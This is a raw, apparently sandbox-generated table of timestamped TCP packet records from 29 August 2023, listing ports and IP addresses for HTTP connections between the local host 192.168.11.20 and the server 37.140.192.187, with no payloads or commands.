Aug 29, 2023 22:46:49.131239891 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.131259918 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.131315947 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.131345987 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.131371021 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.131458044 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.131513119 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.131536007 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.131607056 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.131660938 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.131685019 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.131741047 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.131786108 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.131890059 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.131918907 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.131961107 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.132038116 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.132124901 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.132162094 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.132180929 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.132234097 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.132287025 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.132314920 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.132342100 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.132379055 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.132524014 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.183245897 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.183337927 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.183418036 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.183490992 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.183582067 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.183603048 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.183667898 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.183685064 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.183743000 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.183839083 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.183851957 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.183916092 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.183973074 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.184118986 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.184149027 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.184191942 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.184259892 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.184348106 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.184402943 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.184456110 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.184492111 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.184513092 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.184541941 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.184568882 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.184622049 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.184676886 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.184693098 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.184731960 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.184787035 CEST	80	50021	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:49.184827089 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.184876919 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:49.184983015 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:50.493099928 CEST	50021	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.508788109 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.561563015 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.561728954 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.562366009 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.615000010 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.615262985 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.615324020 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.615544081 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.615560055 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.615659952 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.615886927 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.667891979 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.668092012 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.668103933 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.668447018 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.668452024 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.668570042 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.668844938 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.668862104 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.669142962 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.669414997 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.720658064 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.720980883 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.721240044 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.721671104 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.721971035 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.797154903 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.797261000 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.797317982 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.797421932 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.797477961 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.797530890 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.797602892 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.797713041 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.797724009 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.797785044 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.798051119 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.798109055 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.798108101 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.798456907 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.850330114 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.850419998 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.850500107 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.850555897 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.850586891 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.850864887 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.850928068 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.850941896 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.851090908 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.851171017 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.851262093 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.851444960 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.851556063 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.851594925 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.851766109 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.851870060 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.851943016 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.852210999 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.852269888 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.852286100 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.852519989 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.852585077 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.852615118 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.852766037 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.852824926 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.852962971 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.852962971 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.853260040 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.853327990 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.853687048 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.903145075 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.903254986 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.903311014 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.903364897 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.903626919 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.903626919 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.903702974 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.903861046 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.903955936 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.904016972 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.904124975 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.904155970 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.904319048 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.904330015 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.904408932 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.904479027 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.904675961 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.904721975 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.904750109 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.904951096 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.905016899 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.905093908 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.905344009 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.905459881 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.905554056 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.905613899 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.905683994 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.905854940 CEST	80	50022	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:51.905952930 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.905952930 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:51.906071901 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:53.070673943 CEST	50022	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.086417913 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.139827967 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.139991999 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.140109062 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.192457914 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.217916012 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.217988014 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.218271017 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.218373060 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.218442917 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.218688011 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.218931913 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.219010115 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.219067097 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.219121933 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.219177961 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.219197035 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.219364882 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.219392061 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.219640970 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.270977974 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.271055937 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.271131039 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.271184921 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.271303892 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.271431923 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.271537066 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.271609068 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.271800995 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.271823883 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.271862030 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.272046089 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.272113085 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.272173882 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.272330999 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.272387981 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.272408009 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.272598982 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.272805929 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.272897005 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.272974014 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.273030043 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.273096085 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.273274899 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.273284912 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.273355007 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.273567915 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.273777008 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.273852110 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.274084091 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.324125051 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.324201107 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.324404001 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.324450970 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.324470043 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.324624062 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.324696064 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.324811935 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.324886084 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.324961901 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.325000048 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.325179100 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.325273037 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.325340033 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.325582981 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.325810909 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.325877905 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.326131105 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.326565981 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.326678991 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.326785088 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.326832056 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.326888084 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.326994896 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.327079058 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.327105999 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.327217102 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.327327013 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.327332020 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.327440023 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.327522993 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.327544928 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.327645063 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.327739000 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.327742100 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.327944994 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.327984095 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.328088999 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.328206062 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.328289032 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.328310966 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.328413010 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.328517914 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.328564882 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.328927040 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.328973055 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.329077005 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.329169989 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.329274893 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.329297066 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.329453945 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.329520941 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.329551935 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.329683065 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.329758883 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.329865932 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.330039024 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.330126047 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.330199003 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.330430984 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.377568960 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.377679110 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.377800941 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.377897024 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.378114939 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.378236055 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.378362894 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.378439903 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.378509998 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.378626108 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.378633022 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.378705025 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.378710032 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.378787994 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.378843069 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.378899097 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.378914118 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.378953934 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.379138947 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.379164934 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.379230022 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.379287958 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.379362106 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.379373074 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.379534006 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.379582882 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.379628897 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.379800081 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.380039930 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.380175114 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.380233049 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.380287886 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.380426884 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.380578995 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.380677938 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.380779982 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.380829096 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.380868912 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.381102085 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.381143093 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.381201029 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.381342888 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.381375074 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.381419897 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.381567955 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.381577969 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.381635904 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.381803036 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.381920099 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.382000923 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.382169962 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.382200003 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.382297039 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.382464886 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.382467031 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.382523060 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.382685900 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.382766008 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.382807016 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.382971048 CEST	80	50023	37.140.192.187	192.168.11.20
Aug 29, 2023 22:46:54.382976055 CEST	50023	80	192.168.11.20	37.140.192.187
Aug 29, 2023 22:46:54.383126020 CEST	80	50023	37.140.192.187	192.168.11.20
